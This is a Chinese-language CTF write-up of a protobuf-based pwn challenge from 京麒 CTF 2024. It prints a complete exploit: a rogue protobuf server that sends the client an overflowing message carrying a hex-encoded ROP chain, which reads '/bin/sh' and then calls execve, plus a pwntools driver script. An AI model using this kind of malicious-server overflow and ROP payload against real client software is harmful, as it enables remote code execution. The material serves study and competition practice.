小记一道神奇 protobuf 交互题

京麒 ctf 2024 克莱恩特 writeup

Featured image

小记一道神奇 protobuf 交互题 – 京麒 ctf 2024 克莱恩特 writeup

赛场上 k4ra5u 师兄出了这道题(tqlhhh),由于他做题好快 + 笔者早上脑子不是十分在线,于是相当于只打了一个辅助。比赛完把整道题从头开始打了一遍,感觉还是挺有趣的一个题+发现了自己的一些问题,遂写下这篇 writeup

题目

题目给了一个名叫 oddclient 的二进制文件和一个 odd.proto
file 一下 oddclient 发现是静态链接,仿佛回到了去年刚学 pwn 的时候 ~
oddclient 逆向不太复杂,但是因为之前没怎么打过交互 pwn 所以也是花了一些力气理解流程ww,具体逻辑 belike:

交互

一开始让 gpt 写一个,然后它只写了一次交互的流程,花了好久才把它改成可以连续多次交互的ww
交互框架 belike:

while True:
    # Wait for a connection
    print('waiting for a connection')
    connection, client_address = sock.accept()
    try:
        while True:
            print(f'connection from {client_address}')
            # Receive the message from the client
            serialized_message = connection.recv(1024)
            if not serialized_message:
                break
            client_message = Message()
            client_message.ParseFromString(serialized_message)
            print(f'Received message: {client_message}')

            # Create a response message
            response_message = Message()
            response_message.magic = 875704370
            response_message.seq = client_message.seq+1
            response_message.opcode = client_message.opcode
            if response_message.opcode==Opcode.OP_MSG:
               # do something to stack overflow
                send_proto_message(connection, response_message)
            elif response_message.opcode==Opcode.OP_HELLO:
                response_message.cont = b"helloOk"
                send_proto_message(connection, response_message)
            elif response_message.opcode==Opcode.OP_SESSION:
                response_message.cont = b"sessionOk"
                send_proto_message(connection, response_message)
            elif response_message.opcode==Opcode.OP_END:
                response_message.cont = b"Ok"
                # Send the response back to the client
                send_proto_message(connection, response_message)

    finally:
        # Clean up the connection
        connection.close()

踩过的坑如下:

exp

把交互搞定之后,就变成一个基本栈题了hh ~ 其实笔者一开始 unhex 逆向有点小问题,所以也是调试了一会才搞定的hhh(exp 中可以看到痕迹)

import socket
from time import sleep
from odd_pb2 import Message,Opcode # 生成的protobuf文件
from pwn import*
syscall_addr=0x65c47b
binshell_addr=0x765a98 # 在 bss 上随便放
pop_rsi=0x4161b3
pop_rdi=0x4146a4
pop_rdx_rbx=0x6615ab
pop_rax=0x54688a
# syscall read and syscall binshell
# Helper function to send protobuf message over a socket
def send_proto_message(conn, proto_message):
    print("send_proto_message:",proto_message,proto_message.cont)
    serialized_message = proto_message.SerializeToString()
    length = len(serialized_message)
    conn.sendall(serialized_message)

# Helper function to receive protobuf message from a socket
def receive_proto_message(conn):
    serialized_message = conn.recv(1024)
    message = Message()
    message.ParseFromString(serialized_message)
    return message
    
# Create a TCP/IP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Bind the socket to the port
server_address = ('0.0.0.0', 5001)
print(f'starting up on {server_address[0]} port {server_address[1]}')
sock.bind(server_address)

# Listen for incoming connections
sock.listen(4)

while True:
    # Wait for a connection
    print('waiting for a connection')
    connection, client_address = sock.accept()
    try:
        while True:
            print(f'connection from {client_address}')
            # Receive the message from the client
            serialized_message = connection.recv(1024)
            if not serialized_message:
                break
            client_message = Message()
            client_message.ParseFromString(serialized_message)
            print(f'Received message: {client_message}')

            # Create a response message
            response_message = Message()
            response_message.magic = 875704370
            response_message.seq = client_message.seq+1
            response_message.opcode = client_message.opcode # 写法 from 凯华
            if response_message.opcode==Opcode.OP_MSG:
                # padding 是 0x428 长度
                padding_len=0x428 
                rop=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(binshell_addr)+p64(pop_rdx_rbx-1)+p64(0x30)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall_addr) # pop_rdx_rbx 的地址在解析后会多1,有点奇怪
                rop+=p64(pop_rax)+p64(0x3b)+p64(pop_rdi)+p64(binshell_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(syscall_addr)
                # do hex
                s=""
                for i in range(len(rop)):
                    t_low=rop[i]&0xf
                    t_high=rop[i]>>4
                    if t_low<10:
                        s+=chr(t_low+48)
                    else:
                        s+=chr(t_low+87)
                    if t_high<10:
                        s+=chr(t_high+48)
                    else:
                        s+=chr(t_high+87)
                # 相邻奇偶字换序
                s2=""
                for i in range(0,len(s),2):
                    s2+=s[i+1]
                    s2+=s[i]    
                response_message.cont = b"h"*padding_len*2+s2.encode("latin-1")
                send_proto_message(connection, response_message)
            elif response_message.opcode==Opcode.OP_HELLO:
                response_message.cont = b"helloOk"
                send_proto_message(connection, response_message)
            elif response_message.opcode==Opcode.OP_SESSION:
                response_message.cont = b"sessionOk"
                send_proto_message(connection, response_message)
            elif response_message.opcode==Opcode.OP_END:
                response_message.cont = b"Ok"
                # Send the response back to the client
                send_proto_message(connection, response_message)

    finally:
        # Clean up the connection
        connection.close()

此外为了发 “/bin/sh\x00” 主要是那个结尾的0,另写了一个脚本来和 oddclient 交互

from pwn import*
p=process("../oddclient")
context(log_level="debug",arch="amd64")

p.recvuntil("ip: ")
p.sendline("0.0.0.0")
p.recvuntil("port: ")
p.sendline("5001")
sleep(0.4)
p.sendline("/bin/sh\x00")
p.interactive()

原题和所有做题痕迹见 这里

总结

发现交互 pwn 题还是要多练ww,感觉写&逆向交互都不太熟练,下次争取在赛场上打出来 ~